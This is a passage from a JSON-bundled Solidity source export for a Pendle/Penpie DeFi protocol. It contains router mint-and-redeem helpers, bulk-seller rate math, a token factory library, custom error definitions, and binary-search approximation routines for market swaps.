"content": "// SPDX-License-Identifier: MIT\npragma solidity 0.8.19;\n\nimport \"./TokenHelper.sol\";\nimport \"../interfaces/pendle/IStandardizedYield.sol\";\nimport \"../interfaces/pendle/IPYieldToken.sol\";\nimport \"../interfaces/pendle/IPBulkSeller.sol\";\n\nimport \"./Errors.sol\";\nimport \"../interfaces/pendle/IPSwapAggregator.sol\";\n\nstruct TokenInput {\n // Token/Sy data\n address tokenIn;\n uint256 netTokenIn;\n address tokenMintSy;\n address bulk;\n // aggregator data\n address pendleSwap;\n SwapData swapData;\n}\n\nstruct TokenOutput {\n // Token/Sy data\n address tokenOut;\n uint256 minTokenOut;\n address tokenRedeemSy;\n address bulk;\n // aggregator data\n address pendleSwap;\n SwapData swapData;\n}\n\n// solhint-disable no-empty-blocks\nabstract contract ActionBaseMintRedeem is TokenHelper {\n bytes internal constant EMPTY_BYTES = abi.encode();\n\n function _mintSyFromToken(\n address receiver,\n address SY,\n uint256 minSyOut,\n TokenInput calldata inp\n ) internal returns (uint256 netSyOut) {\n SwapType swapType = inp.swapData.swapType;\n\n uint256 netTokenMintSy;\n\n if (swapType == SwapType.NONE) {\n _transferIn(inp.tokenIn, msg.sender, inp.netTokenIn);\n netTokenMintSy = inp.netTokenIn;\n } else if (swapType == SwapType.ETH_WETH) {\n _transferIn(inp.tokenIn, msg.sender, inp.netTokenIn);\n _wrap_unwrap_ETH(inp.tokenIn, inp.tokenMintSy, inp.netTokenIn);\n netTokenMintSy = inp.netTokenIn;\n } else {\n if (inp.tokenIn == NATIVE) _transferIn(NATIVE, msg.sender, inp.netTokenIn);\n else _transferFrom(IERC20(inp.tokenIn), msg.sender, inp.pendleSwap, inp.netTokenIn);\n\n IPSwapAggregator(inp.pendleSwap).swap{\n value: inp.tokenIn == NATIVE ? inp.netTokenIn : 0\n }(inp.tokenIn, inp.netTokenIn, inp.swapData);\n netTokenMintSy = _selfBalance(inp.tokenMintSy);\n }\n\n // outcome of all branches: satisfy pre-condition of __mintSy\n\n netSyOut = __mintSy(receiver, SY, netTokenMintSy, minSyOut, inp);\n }\n\n /// @dev pre-condition: having netTokenMintSy of tokens in this contract\n function __mintSy(\n address receiver,\n address SY,\n uint256 netTokenMintSy,\n uint256 minSyOut,\n TokenInput calldata inp\n ) private returns (uint256 netSyOut) {\n uint256 netNative = inp.tokenMintSy == NATIVE ? netTokenMintSy : 0;\n\n if (inp.bulk != address(0)) {\n netSyOut = IPBulkSeller(inp.bulk).swapExactTokenForSy{ value: netNative }(\n receiver,\n netTokenMintSy,\n minSyOut\n );\n } else {\n netSyOut = IStandardizedYield(SY).deposit{ value: netNative }(\n receiver,\n inp.tokenMintSy,\n netTokenMintSy,\n minSyOut\n );\n }\n }\n\n function _redeemSyToToken(\n address receiver,\n address SY,\n uint256 netSyIn,\n TokenOutput calldata out,\n bool doPull\n ) internal returns (uint256 netTokenOut) {\n SwapType swapType = out.swapData.swapType;\n\n if (swapType == SwapType.NONE) {\n netTokenOut = __redeemSy(receiver, SY, netSyIn, out, doPull);\n } else if (swapType == SwapType.ETH_WETH) {\n netTokenOut = __redeemSy(address(this), SY, netSyIn, out, doPull); // ETH:WETH is 1:1\n\n _wrap_unwrap_ETH(out.tokenRedeemSy, out.tokenOut, netTokenOut);\n\n _transferOut(out.tokenOut, receiver, netTokenOut);\n } else {\n uint256 netTokenRedeemed = __redeemSy(out.pendleSwap, SY, netSyIn, out, doPull);\n\n IPSwapAggregator(out.pendleSwap).swap(\n out.tokenRedeemSy,\n netTokenRedeemed,\n out.swapData\n );\n\n netTokenOut = _selfBalance(out.tokenOut);\n\n _transferOut(out.tokenOut, receiver, netTokenOut);\n }\n\n // outcome of all branches: netTokenOut of tokens goes back to receiver\n\n if (netTokenOut < out.minTokenOut) {\n revert Errors.RouterInsufficientTokenOut(netTokenOut, out.minTokenOut);\n }\n }\n\n function __redeemSy(\n address receiver,\n address SY,\n uint256 netSyIn,\n TokenOutput calldata out,\n bool doPull\n ) private returns (uint256 netTokenRedeemed) {\n if (doPull) {\n _transferFrom(IERC20(SY), msg.sender, _syOrBulk(SY, out), netSyIn);\n }\n\n if (out.bulk != address(0)) {\n netTokenRedeemed = IPBulkSeller(out.bulk).swapExactSyForToken(\n receiver,\n netSyIn,\n 0,\n true\n );\n } else {\n netTokenRedeemed = IStandardizedYield(SY).redeem(\n receiver,\n netSyIn,\n out.tokenRedeemSy,\n 0,\n true\n );\n }\n }\n\n function _mintPyFromSy(\n address receiver,\n address SY,\n address YT,\n uint256 netSyIn,\n uint256 minPyOut,\n bool doPull\n ) internal returns (uint256 netPyOut) {\n if (doPull) {\n _transferFrom(IERC20(SY), msg.sender, YT, netSyIn);\n }\n\n netPyOut = IPYieldToken(YT).mintPY(receiver, receiver);\n if (netPyOut < minPyOut) revert Errors.RouterInsufficientPYOut(netPyOut, minPyOut);\n }\n\n function _redeemPyToSy(\n address receiver,\n address YT,\n uint256 netPyIn,\n uint256 minSyOut\n ) internal returns (uint256 netSyOut) {\n address PT = IPYieldToken(YT).PT();\n\n _transferFrom(IERC20(PT), msg.sender, YT, netPyIn);\n\n bool needToBurnYt = (!IPYieldToken(YT).isExpired());\n if (needToBurnYt) _transferFrom(IERC20(YT), msg.sender, YT, netPyIn);\n\n netSyOut = IPYieldToken(YT).redeemPY(receiver);\n if (netSyOut < minSyOut) revert Errors.RouterInsufficientSyOut(netSyOut, minSyOut);\n }\n\n function _syOrBulk(address SY, TokenOutput calldata output)\n internal\n pure\n returns (address addr)\n {\n return output.bulk != address(0) ? output.bulk : SY;\n }\n}\n"
},
"contracts/libraries/BulkSellerMathCore.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity 0.8.19;\n\nimport \"./TokenHelper.sol\";\nimport \"./math/Math.sol\";\nimport \"./Errors.sol\";\n\nstruct BulkSellerState {\n uint256 rateTokenToSy;\n uint256 rateSyToToken;\n uint256 totalToken;\n uint256 totalSy;\n uint256 feeRate;\n}\n\nlibrary BulkSellerMathCore {\n using Math for uint256;\n\n function swapExactTokenForSy(\n BulkSellerState memory state,\n uint256 netTokenIn\n ) internal pure returns (uint256 netSyOut) {\n netSyOut = calcSwapExactTokenForSy(state, netTokenIn);\n state.totalToken += netTokenIn;\n state.totalSy -= netSyOut;\n }\n\n function swapExactSyForToken(\n BulkSellerState memory state,\n uint256 netSyIn\n ) internal pure returns (uint256 netTokenOut) {\n netTokenOut = calcSwapExactSyForToken(state, netSyIn);\n state.totalSy += netSyIn;\n state.totalToken -= netTokenOut;\n }\n\n function calcSwapExactTokenForSy(\n BulkSellerState memory state,\n uint256 netTokenIn\n ) internal pure returns (uint256 netSyOut) {\n uint256 postFeeRate = state.rateTokenToSy.mulDown(Math.ONE - state.feeRate);\n assert(postFeeRate != 0);\n\n netSyOut = netTokenIn.mulDown(postFeeRate);\n if (netSyOut > state.totalSy)\n revert Errors.BulkInsufficientSyForTrade(state.totalSy, netSyOut);\n }\n\n function calcSwapExactSyForToken(\n BulkSellerState memory state,\n uint256 netSyIn\n ) internal pure returns (uint256 netTokenOut) {\n uint256 postFeeRate = state.rateSyToToken.mulDown(Math.ONE - state.feeRate);\n assert(postFeeRate != 0);\n\n netTokenOut = netSyIn.mulDown(postFeeRate);\n if (netTokenOut > state.totalToken)\n revert Errors.BulkInsufficientTokenForTrade(state.totalToken, netTokenOut);\n }\n\n function getTokenProp(BulkSellerState memory state) internal pure returns (uint256) {\n uint256 totalToken = state.totalToken;\n uint256 totalTokenFromSy = state.totalSy.mulDown(state.rateSyToToken);\n return totalToken.divDown(totalToken + totalTokenFromSy);\n }\n\n function getReBalanceParams(\n BulkSellerState memory state,\n uint256 targetTokenProp\n ) internal pure returns (uint256 netTokenToDeposit, uint256 netSyToRedeem) {\n uint256 currentTokenProp = getTokenProp(state);\n\n if (currentTokenProp > targetTokenProp) {\n netTokenToDeposit = state\n .totalToken\n .mulDown(currentTokenProp - targetTokenProp)\n .divDown(currentTokenProp);\n } else {\n uint256 currentSyProp = Math.ONE - currentTokenProp;\n netSyToRedeem = state.totalSy.mulDown(targetTokenProp - currentTokenProp).divDown(\n currentSyProp\n );\n }\n }\n\n function reBalanceTokenToSy(\n BulkSellerState memory state,\n uint256 netTokenToDeposit,\n uint256 netSyFromToken,\n uint256 maxDiff\n ) internal pure {\n uint256 rate = netSyFromToken.divDown(netTokenToDeposit);\n\n if (!Math.isAApproxB(rate, state.rateTokenToSy, maxDiff))\n revert Errors.BulkBadRateTokenToSy(rate, state.rateTokenToSy, maxDiff);\n\n state.totalToken -= netTokenToDeposit;\n state.totalSy += netSyFromToken;\n }\n\n function reBalanceSyToToken(\n BulkSellerState memory state,\n uint256 netSyToRedeem,\n uint256 netTokenFromSy,\n uint256 maxDiff\n ) internal pure {\n uint256 rate = netTokenFromSy.divDown(netSyToRedeem);\n\n if (!Math.isAApproxB(rate, state.rateSyToToken, maxDiff))\n revert Errors.BulkBadRateSyToToken(rate, state.rateSyToToken, maxDiff);\n\n state.totalToken += netTokenFromSy;\n state.totalSy -= netSyToRedeem;\n }\n\n function setRate(\n BulkSellerState memory state,\n uint256 rateSyToToken,\n uint256 rateTokenToSy,\n uint256 maxDiff\n ) internal pure {\n if (\n state.rateTokenToSy != 0 &&\n !Math.isAApproxB(rateTokenToSy, state.rateTokenToSy, maxDiff)\n ) {\n revert Errors.BulkBadRateTokenToSy(rateTokenToSy, state.rateTokenToSy, maxDiff);\n }\n\n if (\n state.rateSyToToken != 0 &&\n !Math.isAApproxB(rateSyToToken, state.rateSyToToken, maxDiff)\n ) {\n revert Errors.BulkBadRateSyToToken(rateSyToToken, state.rateSyToToken, maxDiff);\n }\n\n state.rateTokenToSy = rateTokenToSy;\n state.rateSyToToken = rateSyToToken;\n }\n}\n"
},
"contracts/libraries/ERC20FactoryLib.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\npragma experimental ABIEncoderV2;\n\nimport { ERC20 } from \"@openzeppelin/contracts/token/ERC20/ERC20.sol\";\nimport { MintableERC20 } from \"./MintableERC20.sol\";\nimport { PenpieReceiptToken } from \"../rewards/PenpieReceiptToken.sol\";\nimport { BaseRewardPoolV2 } from \"../rewards/BaseRewardPoolV2.sol\";\n\nlibrary ERC20FactoryLib {\n function createERC20(string memory name_, string memory symbol_) public returns(address) \n {\n ERC20 token = new MintableERC20(name_, symbol_);\n return address(token);\n }\n\n function createReceipt(address _stakeToken, address _masterPenpie, string memory _name, string memory _symbol) public returns(address)\n {\n ERC20 token = new PenpieReceiptToken(_stakeToken, _masterPenpie, _name, _symbol);\n return address(token);\n }\n\n function createRewarder(\n address _receiptToken,\n address mainRewardToken,\n address _masterRadpie,\n address _rewardQueuer\n ) external returns (address) {\n BaseRewardPoolV2 _rewarder = new BaseRewardPoolV2(\n _receiptToken,\n mainRewardToken,\n _masterRadpie,\n _rewardQueuer\n );\n return address(_rewarder);\n } \n}"
},
"contracts/libraries/Errors.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity 0.8.19;\n\nlibrary Errors {\n // BulkSeller\n error BulkInsufficientSyForTrade(uint256 currentAmount, uint256 requiredAmount);\n error BulkInsufficientTokenForTrade(uint256 currentAmount, uint256 requiredAmount);\n error BulkInSufficientSyOut(uint256 actualSyOut, uint256 requiredSyOut);\n error BulkInSufficientTokenOut(uint256 actualTokenOut, uint256 requiredTokenOut);\n error BulkInsufficientSyReceived(uint256 actualBalance, uint256 requiredBalance);\n error BulkNotMaintainer();\n error BulkNotAdmin();\n error BulkSellerAlreadyExisted(address token, address SY, address bulk);\n error BulkSellerInvalidToken(address token, address SY);\n error BulkBadRateTokenToSy(uint256 actualRate, uint256 currentRate, uint256 eps);\n error BulkBadRateSyToToken(uint256 actualRate, uint256 currentRate, uint256 eps);\n\n // APPROX\n error ApproxFail();\n error ApproxParamsInvalid(uint256 guessMin, uint256 guessMax, uint256 eps);\n error ApproxBinarySearchInputInvalid(\n uint256 approxGuessMin,\n uint256 approxGuessMax,\n uint256 minGuessMin,\n uint256 maxGuessMax\n );\n\n // MARKET + MARKET MATH CORE\n error MarketExpired();\n error MarketZeroAmountsInput();\n error MarketZeroAmountsOutput();\n error MarketZeroLnImpliedRate();\n error MarketInsufficientPtForTrade(int256 currentAmount, int256 requiredAmount);\n error MarketInsufficientPtReceived(uint256 actualBalance, uint256 requiredBalance);\n error MarketInsufficientSyReceived(uint256 actualBalance, uint256 requiredBalance);\n error MarketZeroTotalPtOrTotalAsset(int256 totalPt, int256 totalAsset);\n error MarketExchangeRateBelowOne(int256 exchangeRate);\n error MarketProportionMustNotEqualOne();\n error MarketRateScalarBelowZero(int256 rateScalar);\n error MarketScalarRootBelowZero(int256 scalarRoot);\n error MarketProportionTooHigh(int256 proportion, int256 maxProportion);\n\n error OracleUninitialized();\n error OracleTargetTooOld(uint32 target, uint32 oldest);\n error OracleZeroCardinality();\n\n error MarketFactoryExpiredPt();\n error MarketFactoryInvalidPt();\n error MarketFactoryMarketExists();\n\n error MarketFactoryLnFeeRateRootTooHigh(uint80 lnFeeRateRoot, uint256 maxLnFeeRateRoot);\n error MarketFactoryReserveFeePercentTooHigh(\n uint8 reserveFeePercent,\n uint8 maxReserveFeePercent\n );\n error MarketFactoryZeroTreasury();\n error MarketFactoryInitialAnchorTooLow(int256 initialAnchor, int256 minInitialAnchor);\n\n // ROUTER\n error RouterInsufficientLpOut(uint256 actualLpOut, uint256 requiredLpOut);\n error RouterInsufficientSyOut(uint256 actualSyOut, uint256 requiredSyOut);\n error RouterInsufficientPtOut(uint256 actualPtOut, uint256 requiredPtOut);\n error RouterInsufficientYtOut(uint256 actualYtOut, uint256 requiredYtOut);\n error RouterInsufficientPYOut(uint256 actualPYOut, uint256 requiredPYOut);\n error RouterInsufficientTokenOut(uint256 actualTokenOut, uint256 requiredTokenOut);\n error RouterExceededLimitSyIn(uint256 actualSyIn, uint256 limitSyIn);\n error RouterExceededLimitPtIn(uint256 actualPtIn, uint256 limitPtIn);\n error RouterExceededLimitYtIn(uint256 actualYtIn, uint256 limitYtIn);\n error RouterInsufficientSyRepay(uint256 actualSyRepay, uint256 requiredSyRepay);\n error RouterInsufficientPtRepay(uint256 actualPtRepay, uint256 requiredPtRepay);\n error RouterNotAllSyUsed(uint256 netSyDesired, uint256 netSyUsed);\n\n error RouterTimeRangeZero();\n error RouterCallbackNotPendleMarket(address caller);\n error RouterInvalidAction(bytes4 selector);\n error RouterInvalidFacet(address facet);\n\n error RouterKyberSwapDataZero();\n\n // YIELD CONTRACT\n error YCExpired();\n error YCNotExpired();\n error YieldContractInsufficientSy(uint256 actualSy, uint256 requiredSy);\n error YCNothingToRedeem();\n error YCPostExpiryDataNotSet();\n error YCNoFloatingSy();\n\n // YieldFactory\n error YCFactoryInvalidExpiry();\n error YCFactoryYieldContractExisted();\n error YCFactoryZeroExpiryDivisor();\n error YCFactoryZeroTreasury();\n error YCFactoryInterestFeeRateTooHigh(uint256 interestFeeRate, uint256 maxInterestFeeRate);\n error YCFactoryRewardFeeRateTooHigh(uint256 newRewardFeeRate, uint256 maxRewardFeeRate);\n\n // SY\n error SYInvalidTokenIn(address token);\n error SYInvalidTokenOut(address token);\n error SYZeroDeposit();\n error SYZeroRedeem();\n error SYInsufficientSharesOut(uint256 actualSharesOut, uint256 requiredSharesOut);\n error SYInsufficientTokenOut(uint256 actualTokenOut, uint256 requiredTokenOut);\n\n // SY-specific\n error SYQiTokenMintFailed(uint256 errCode);\n error SYQiTokenRedeemFailed(uint256 errCode);\n error SYQiTokenRedeemRewardsFailed(uint256 rewardAccruedType0, uint256 rewardAccruedType1);\n error SYQiTokenBorrowRateTooHigh(uint256 borrowRate, uint256 borrowRateMax);\n\n error SYCurveInvalidPid();\n error SYCurve3crvPoolNotFound();\n\n error SYApeDepositAmountTooSmall(uint256 amountDeposited);\n error SYBalancerInvalidPid();\n error SYInvalidRewardToken(address token);\n\n error SYStargateRedeemCapExceeded(uint256 amountLpDesired, uint256 amountLpRedeemable);\n\n error SYBalancerReentrancy();\n\n // Liquidity Mining\n error VCInactivePool(address pool);\n error VCPoolAlreadyActive(address pool);\n error VCZeroVePendle(address user);\n error VCExceededMaxWeight(uint256 totalWeight, uint256 maxWeight);\n error VCEpochNotFinalized(uint256 wTime);\n error VCPoolAlreadyAddAndRemoved(address pool);\n\n error VEInvalidNewExpiry(uint256 newExpiry);\n error VEExceededMaxLockTime();\n error VEInsufficientLockTime();\n error VENotAllowedReduceExpiry();\n error VEZeroAmountLocked();\n error VEPositionNotExpired();\n error VEZeroPosition();\n error VEZeroSlope(uint128 bias, uint128 slope);\n error VEReceiveOldSupply(uint256 msgTime);\n\n error GCNotPendleMarket(address caller);\n error GCNotVotingController(address caller);\n\n error InvalidWTime(uint256 wTime);\n error ExpiryInThePast(uint256 expiry);\n error ChainNotSupported(uint256 chainId);\n\n error FDTotalAmountFundedNotMatch(uint256 actualTotalAmount, uint256 expectedTotalAmount);\n error FDEpochLengthMismatch();\n error FDInvalidPool(address pool);\n error FDPoolAlreadyExists(address pool);\n error FDInvalidNewFinishedEpoch(uint256 oldFinishedEpoch, uint256 newFinishedEpoch);\n error FDInvalidStartEpoch(uint256 startEpoch);\n error FDInvalidWTimeFund(uint256 lastFunded, uint256 wTime);\n error FDFutureFunding(uint256 lastFunded, uint256 currentWTime);\n\n error BDInvalidEpoch(uint256 epoch, uint256 startTime);\n\n // Cross-Chain\n error MsgNotFromSendEndpoint(uint16 srcChainId, bytes path);\n error MsgNotFromReceiveEndpoint(address sender);\n error InsufficientFeeToSendMsg(uint256 currentFee, uint256 requiredFee);\n error ApproxDstExecutionGasNotSet();\n error InvalidRetryData();\n\n // GENERIC MSG\n error ArrayLengthMismatch();\n error ArrayEmpty();\n error ArrayOutOfBounds();\n error ZeroAddress();\n error FailedToSendEther();\n error InvalidMerkleProof();\n\n error OnlyLayerZeroEndpoint();\n error OnlyYT();\n error OnlyYCFactory();\n error OnlyWhitelisted();\n\n // Swap Aggregator\n error SAInsufficientTokenIn(address tokenIn, uint256 amountExpected, uint256 amountActual);\n error UnsupportedSelector(uint256 aggregatorType, bytes4 selector);\n}"
},
"contracts/libraries/MarketApproxLib.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity 0.8.19;\n\nimport \"./math/Math.sol\";\nimport \"./math/MarketMathCore.sol\";\n\nstruct ApproxParams {\n uint256 guessMin;\n uint256 guessMax;\n uint256 guessOffchain; // pass 0 in to skip this variable\n uint256 maxIteration; // every iteration, the diff between guessMin and guessMax will be divided by 2\n uint256 eps; // the max eps between the returned result & the correct result, base 1e18. Normally this number will be set\n // to 1e15 (1e18/1000 = 0.1%)\n\n /// Further explanation of the eps. Take swapExactSyForPt for example. To calc the corresponding amount of Pt to swap out,\n /// it's necessary to run an approximation algorithm, because by default there only exists the Pt to Sy formula\n /// To approx, the 5 values above will have to be provided, and the approx process will run as follows:\n /// mid = (guessMin + guessMax) / 2 // mid here is the current guess of the amount of Pt out\n /// netSyNeed = calcSwapSyForExactPt(mid)\n /// if (netSyNeed > exactSyIn) guessMax = mid - 1 // since the maximum Sy in can't exceed the exactSyIn\n /// else guessMin = mid (1)\n /// For the (1), since netSyNeed <= exactSyIn, the result might be usable. If the netSyNeed is within eps of\n /// exactSyIn (ex eps=0.1% => we have used 99.9% the amount of Sy specified), mid will be chosen as the final guess result\n\n /// for guessOffchain, this is to provide a shortcut to guessing. The offchain SDK can precalculate the exact result\n /// before the tx is sent. When the tx reaches the contract, the guessOffchain will be checked first, and if it satisfies the\n /// approximation, it will be used (and save all the guessing). It's expected that this shortcut will be used in most cases\n /// except in cases that there is a trade in the same market right before the tx\n}\n\nlibrary MarketApproxPtInLib {\n using MarketMathCore for MarketState;\n using PYIndexLib for PYIndex;\n using Math for uint256;\n using Math for int256;\n using LogExpMath for int256;\n\n /**\n * @dev algorithm:\n - Bin search the amount of PT to swap in\n - Try swapping & get netSyOut\n - Stop when netSyOut greater & approx minSyOut\n - guess & approx is for netPtIn\n */\n function approxSwapPtForExactSy(\n MarketState memory market,\n PYIndex index,\n uint256 minSyOut,\n uint256 blockTime,\n ApproxParams memory approx\n ) internal pure returns (uint256 /*netPtIn*/, uint256 /*netSyOut*/, uint256 /*netSyFee*/) {\n MarketPreCompute memory comp = market.getMarketPreCompute(index, blockTime);\n if (approx.guessOffchain == 0) {\n // no limit on min\n approx.guessMax = Math.min(approx.guessMax, calcMaxPtIn(market, comp));\n validateApprox(approx);\n }\n\n for (uint256 iter = 0; iter < approx.maxIteration; ++iter) {\n uint256 guess = nextGuess(approx, iter);\n (uint256 netSyOut, uint256 netSyFee, ) = calcSyOut(market, comp, index, guess);\n\n if (netSyOut >= minSyOut) {\n if (Math.isAGreaterApproxB(netSyOut, minSyOut, approx.eps))\n return (guess, netSyOut, netSyFee);\n approx.guessMax = guess;\n } else {\n approx.guessMin = guess;\n }\n }\n revert Errors.ApproxFail();\n }\n\n /**\n * @dev algorithm:\n - Bin search the amount of PT to swap in\n - Flashswap the corresponding amount of SY out\n - Pair those amount with exactSyIn SY to tokenize into PT & YT\n - PT to repay the flashswap, YT transferred to user\n - Stop when the amount of SY to be pulled to tokenize PT to repay loan approx the exactSyIn\n - guess & approx is for netYtOut (also netPtIn)\n */\n function approxSwapExactSyForYt(\n MarketState memory market,\n PYIndex index,\n uint256 exactSyIn,\n uint256 blockTime,\n ApproxParams memory approx\n ) internal pure returns (uint256 /*netYtOut*/, uint256 /*netSyFee*/) {\n MarketPreCompute memory comp = market.getMarketPreCompute(index, blockTime);\n if (approx.guessOffchain == 0) {\n approx.guessMin = Math.max(approx.guessMin, index.syToAsset(exactSyIn));\n approx.guessMax = Math.min(approx.guessMax, calcMaxPtIn(market, comp));\n validateApprox(approx);\n }\n\n // at minimum we will flashswap exactSyIn since we have enough SY to payback the PT loan\n\n for (uint256 iter = 0; iter < approx.maxIteration; ++iter) {\n uint256 guess = nextGuess(approx, iter);\n\n (uint256 netSyOut, uint256 netSyFee, ) = calcSyOut(market, comp, index, guess);\n\n uint256 netSyToTokenizePt = index.assetToSyUp(guess);\n\n // for sure netSyToTokenizePt >= netSyOut since we are swapping PT to SY\n uint256 netSyToPull = netSyToTokenizePt - netSyOut;\n\n if (netSyToPull <= exactSyIn) {\n if (Math.isASmallerApproxB(netSyToPull, exactSyIn, approx.eps))\n return (guess, netSyFee);\n approx.guessMin = guess;\n } else {\n approx.guessMax = guess - 1;\n }\n }\n revert Errors.ApproxFail();\n }\n\n /**\n * @dev algorithm:\n - Bin search the amount of PT to swap to SY\n - Swap PT to SY\n - Pair the remaining PT with the SY to add liquidity\n - Stop when the ratio of PT / totalPt & SY / totalSy is approx\n - guess & approx is for netPtSwap\n */\n function approxSwapPtToAddLiquidity(\n MarketState memory market,\n PYIndex index,\n uint256 totalPtIn,\n uint256 blockTime,\n ApproxParams memory approx\n )\n internal\n pure\n returns (uint256 /*netPtSwap*/, uint256 /*netSyFromSwap*/, uint256 /*netSyFee*/)\n {\n MarketPreCompute memory comp = market.getMarketPreCompute(index, blockTime);\n if (approx.guessOffchain == 0) {\n // no limit on min\n approx.guessMax = Math.min(approx.guessMax, calcMaxPtIn(market, comp));\n approx.guessMax = Math.min(approx.guessMax, totalPtIn);\n validateApprox(approx);\n require(market.totalLp != 0, \"no existing lp\");\n }\n\n for (uint256 iter = 0; iter < approx.maxIteration; ++iter) {\n uint256 guess = nextGuess(approx, iter);\n\n (\n uint256 syNumerator,\n uint256 ptNumerator,\n uint256 netSyOut,\n uint256 netSyFee,\n\n ) = calcNumerators(market, index, totalPtIn, comp, guess);\n\n if (Math.isAApproxB(syNumerator, ptNumerator, approx.eps))\n return (guess, netSyOut, netSyFee);\n\n if (syNumerator <= ptNumerator) {\n // needs more SY --> swap more PT\n approx.guessMin = guess + 1;\n } else {\n // needs less SY --> swap less PT\n approx.guessMax = guess - 1;\n }\n }\n revert Errors.ApproxFail();\n }\n\n function calcNumerators(\n MarketState memory market,\n PYIndex index,\n uint256 totalPtIn,\n MarketPreCompute memory comp,\n uint256 guess\n )\n internal\n pure\n returns (\n uint256 syNumerator,\n uint256 ptNumerator,\n uint256 netSyOut,\n uint256 netSyFee,\n uint256 netSyToReserve\n )\n {\n (netSyOut, netSyFee, netSyToReserve) = calcSyOut(market, comp, index, guess);\n\n uint256 newTotalPt = uint256(market.totalPt) + guess;\n uint256 newTotalSy = (uint256(market.totalSy) - netSyOut - netSyToReserve);\n\n // it is desired that\n // netSyOut / newTotalSy = netPtRemaining / newTotalPt\n // which is equivalent to\n // netSyOut * newTotalPt = netPtRemaining * newTotalSy\n\n syNumerator = netSyOut * newTotalPt;\n ptNumerator = (totalPtIn - guess) * newTotalSy;\n }\n\n struct Args7 {\n MarketState market;\n PYIndex index;\n uint256 exactPtIn;\n uint256 blockTime;\n }\n\n /**\n * @dev algorithm:\n - Bin search the amount of PT to swap to SY\n - Flashswap the corresponding amount of SY out\n - Tokenize all the SY into PT + YT\n - PT to repay the flashswap, YT transferred to user\n - Stop when the additional amount of PT to pull to repay the loan approx the exactPtIn\n - guess & approx is for totalPtToSwap\n */\n function approxSwapExactPtForYt(\n MarketState memory market,\n PYIndex index,\n uint256 exactPtIn,\n uint256 blockTime,\n ApproxParams memory approx\n )\n internal\n pure\n returns (uint256 /*netYtOut*/, uint256 /*totalPtToSwap*/, uint256 /*netSyFee*/)\n {\n MarketPreCompute memory comp = market.getMarketPreCompute(index, blockTime);\n if (approx.guessOffchain == 0) {\n approx.guessMin = Math.max(approx.guessMin, exactPtIn);\n approx.guessMax = Math.min(approx.guessMax, calcMaxPtIn(market, comp));\n validateApprox(approx);\n }\n\n for (uint256 iter = 0; iter < approx.maxIteration; ++iter) {\n uint256 guess = nextGuess(approx, iter);\n\n (uint256 netSyOut, uint256 netSyFee, ) = calcSyOut(market, comp, index, guess);\n\n uint256 netAssetOut = index.syToAsset(netSyOut);\n\n // guess >= netAssetOut since we are swapping PT to SY\n uint256 netPtToPull = guess - netAssetOut;\n\n if (netPtToPull <= exactPtIn) {\n if (Math.isASmallerApproxB(netPtToPull, exactPtIn, approx.eps))\n return (netAssetOut, guess, netSyFee);\n approx.guessMin = guess;\n } else {\n approx.guessMax = guess - 1;\n }\n }\n revert Errors.ApproxFail();\n }\n\n ////////////////////////////////////////////////////////////////////////////////\n\n function calcSyOut(\n MarketState memory market,\n MarketPreCompute memory comp,\n PYIndex index,\n uint256 netPtIn\n ) internal pure returns (uint256 netSyOut, uint256 netSyFee, uint256 netSyToReserve) {\n (int256 _netSyOut, int256 _netSyFee, int256 _netSyToReserve) = market.calcTrade(\n comp,\n index,\n -int256(netPtIn)\n );\n netSyOut = uint256(_netSyOut);\n netSyFee = uint256(_netSyFee);\n netSyToReserve = uint256(_netSyToReserve);\n }\n\n function nextGuess(ApproxParams memory approx, uint256 iter) internal pure returns (uint256) {\n if (iter == 0 && approx.guessOffchain != 0) return approx.guessOffchain;\n if (approx.guessMin <= approx.guessMax) return (approx.guessMin + approx.guessMax) / 2;\n revert Errors.ApproxFail();\n }\n\n /// INTENDED TO BE CALLED BY WHEN GUESS.OFFCHAIN == 0 ONLY ///\n\n function validateApprox(ApproxParams memory approx) internal pure {\n if (approx.guessMin > approx.guessMax || approx.eps > Math.ONE)\n revert Errors.ApproxParamsInvalid(approx.guessMin, approx.guessMax, approx.eps);\n }\n\n function calcMaxPtIn(\n MarketState memory market,\n MarketPreCompute memory comp\n ) internal pure returns (uint256) {\n uint256 low = 0;\n uint256 hi = uint256(comp.totalAsset) - 1;\n\n while (low != hi) {\n uint256 mid = (low + hi + 1) / 2;\n if (calcSlope(comp, market.totalPt, int256(mid)) < 0) hi = mid - 1;\n else low = mid;\n }\n return low;\n }\n\n function calcSlope(\n MarketPreCompute memory comp,\n int256 totalPt,\n int256 ptToMarket\n ) internal pure returns (int256) {\n int256 diffAssetPtToMarket = comp.totalAsset - ptToMarket;\n int256 sumPt = ptToMarket + totalPt;\n\n require(diffAssetPtToMarket > 0 && sumPt > 0, \"invalid ptToMarket\");\n\n int256 part1 = (ptToMarket * (totalPt + comp.totalAsset)).divDown(\n sumPt * diffAssetPtToMarket\n );\n\n int256 part2 = sumPt.divDown(diffAssetPtToMarket).ln();\n int256 part3 = Math.IONE.divDown(comp.rateScalar);\n\n return comp.rateAnchor - (part1 - part2).mulDown(part3);\n }\n}\n\nlibrary MarketApproxPtOutLib {\n using MarketMathCore for MarketState;\n using PYIndexLib for PYIndex;\n using Math for uint256;\n using Math for int256;\n using LogExpMath for int256;\n\n /**\n * @dev algorithm:\n - Bin search the amount of PT to swapExactOut\n - Calculate the amount of SY needed\n - Stop when the netSyIn is smaller approx exactSyIn\n - guess & approx is for netSyIn\n */\n function approxSwapExactSyForPt(\n MarketState memory market,\n PYIndex index,\n uint256 exactSyIn,\n uint256 blockTime,\n ApproxParams memory approx\n ) internal pure returns (uint256 /*netPtOut*/, uint256 /*netSyFee*/) {\n MarketPreCompute memory comp = market.getMarketPreCompute(index, blockTime);\n if (approx.guessOffchain == 0) {\n // no limit on min\n approx.guessMax = Math.min(approx.guessMax, calcMaxPtOut(comp, market.totalPt));\n validateApprox(approx);\n }\n\n for (uint256 iter = 0; iter < approx.maxIteration; ++iter) {\n uint256 guess = nextGuess(approx, iter);\n\n (uint256 netSyIn, uint256 netSyFee, ) = calcSyIn(market, comp, index, guess);\n\n if (netSyIn <= exactSyIn) {\n if (Math.isASmallerApproxB(netSyIn, exactSyIn, approx.eps))\n return (guess, netSyFee);\n approx.guessMin = guess;\n } else {\n approx.guessMax = guess - 1;\n }\n }\n\n revert Errors.ApproxFail();\n }\n\n /**\n * @dev algorithm:\n - Bin search the amount of PT to swapExactOut\n - Flashswap that amount of PT & 